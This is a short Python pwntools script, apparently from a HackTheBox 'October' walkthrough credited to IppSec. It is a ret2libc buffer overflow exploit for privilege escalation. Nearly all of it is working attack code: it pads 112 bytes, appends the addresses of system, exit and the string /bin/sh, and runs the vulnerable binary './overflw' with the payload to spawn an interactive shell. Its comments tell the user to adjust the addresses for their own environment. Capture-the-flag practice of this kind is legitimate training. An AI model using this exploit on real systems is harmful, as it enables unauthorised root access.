#
#  Privilege Escalation Exploit for hackTheBox October
#
#  From IppSec https://youtu.be/K05mJazHhF4
# 

from pwn import *
# import sys

# Change these addresses for your local environment:

binsh_addr  = p32(0xf7f4b406)
system_addr = p32(0xf7e07660)
exit_addr   = p32(0xf7dfa3d0)

junk = ('A' * 112)

payload = junk.encode('iso-8859-1') + system_addr +  exit_addr + binsh_addr

# print in python3 does funky encoding - so avoid it if you want to just produce 
# output use:
#    sys.stdout.buffer.write(payload)

p = process(["./overflw",  payload])
p.interactive()

